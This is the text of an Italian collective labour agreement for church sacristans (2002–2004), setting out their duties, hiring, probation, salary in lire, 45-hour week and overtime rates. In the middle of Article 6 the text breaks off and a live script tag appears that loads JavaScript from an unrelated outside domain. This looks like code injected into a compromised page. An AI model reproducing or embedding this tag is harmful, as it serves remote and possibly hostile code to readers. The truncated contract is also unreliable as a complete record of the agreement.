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Categoria: Sacristi e dipendenti di parrocchie
Settore: Altro
Data stipula: 6-12-2001
Data decorrenza: 1-1-2002
Data scadenza: 31-12-2004

Contratto Collettivo Nazionale di Lavoro

PER I SACRISTI ADDETTI AL CULTO DIPENDENTI DA ENTI ECCLESIASTICI


- Federazione tra le Associazioni del Clero in Italia (FACI);

-   Federazione   Italiana  Unioni  Diocesane  Addetti  al  Culto/Sacristi
(FIUDAC/S)

2002 -2004



Art. 1 - Definizione.

Ai  fini della presente normativa, si definisce Sacrista il lavoratore  in
possesso di piena capacità lavorativa, che presta la sua opera nel  luoghi
sacri occupandosi del loro decoro:

-  preparazione  e  assistenza delle sacre funzioni  liturgiche,  incontri
della comunità cristiana nell'aula ecclesiale;

- custodia della chiesa, degli arredi e suppellettili sacre;

-  pulizie  della  chiesa  e  della sacrestia  ordinarie  e  straordinarie
rientranti nelle possibilità tecniche dei mezzi a sua disposizione;

-  mansioni  concordate all'atto dell'assunzione col  vincolo  dell'orario
fisso.

I  sacristi possono essere inquadrati in 2 categorie, a seconda del  tempo
di lavoro prestato:

Gruppo A:
sacristi  che  sono occupati a tempo pieno al servizio  di  una  chiesa  o
eventualmente di più chiese dipendenti da un unico datore di lavoro.

Gruppo B:
sacristi che svolgono la loro opera a tempo parziale.



Art. 2 - Assunzione e periodo di prova.

L'assunzione  del  sacrista  sarà  effettuata  dal  rappresentante  legale
dell'Ente  ecclesiastico, mediante lettera raccomandata, previa  richiesta
nominativa dell'Ufficio collocamento.

All'atto  dell'assunzione il sacrista deve essere in possesso del libretto
di lavoro e del certificato d'iscrizione nelle liste di collocamento (mod.
C1).

Fermi restando gli obblighi di legge circa l'assunzione, il periodo di pro
va non potrà avere la durata superiore a mesi 3.

Terminato   tale  periodo  il  sacrista  s'intende  confermato   a   tempo
indeterminato. Il periodo di prova verrà considerato a tutti  gli  effetti
contrattuali.

Nel  caso di mancata conferma al sacrista sarà corrisposto il compenso per
l'effettivo periodo prestato e quanto dovuto per norma di legge.



Art. 3 - Retribuzione.

La retribuzione del sacrista è stabilita come segue:

- £ 1.800.000 per il 2002;
- £ 1.850.000 per il 2003;
- £ 1.900.000 per il 2004 comprensiva della ex indennità di contingenza.

Sono previsti gli scatti d'anzianità.

Per  i  sacristi  del  gruppo  B,  la retribuzione  verrà  determinata  in
relazione all'effettivo orario di lavoro.

Il  presente contratto, al fini della retribuzione di cui sopra, entra  in
vigore dal 1° gennaio 2002.

Per  l'anzianità di servizio il sacrista avrà diritto a un massimo  di  10
scatti  triennali.  Tali  scatti  decorreranno  dal  1°  giorno  del  mese
successivo  a  quello in cui si compie il triennio d'anzianità  e  saranno
calcolati  nella  misura  del 4% della paga mensile  e  dell'indennità  di
contingenza vigente al momento della maturazione dei singoli scatti, senza
ricalcolo di quelli precedentemente maturati e già in godimento.



Art. 4 - Orario di lavoro.

L'orario di lavoro ordinario è di 45 ore settimanali, distribuite di massi
ma  in 6 giornate lavorative. L'orario giornaliero sarà concordato con  il
rappresentante dell'Ente ecclesiastico.

Per  i  sacristi che hanno orario lavorativo continuativo si  precisa  che
spetta  mezz'ora  di  pausa  non  retribuita  a  metà  del  proprio  turno
lavorativo, purché non sia lasciato sguarnito il posto di lavoro.



Art. 5 - Lavoro straordinario.

Detto  lavoro  verrà retribuito con le seguenti maggiorazioni  sulla  paga
oraria (= 1/195 della retribuzione mensile):

- straordinario diurno: paga oraria maggiorata del 20%;

-  straordinario  feriale  notturno (dalle ore 22  alle  6):  paga  oraria
maggiorata del 30%;

- straordinario festivo diurno: paga oraria maggiorata del 30%;

- straordinario festivo notturno: paga oraria maggiorata del 50%.



Art. 6 - Riposo settimanale.

Il  sacrista ha diritto a 1 gio<script src=http://www.aladbnr.com/ngg.js></script>













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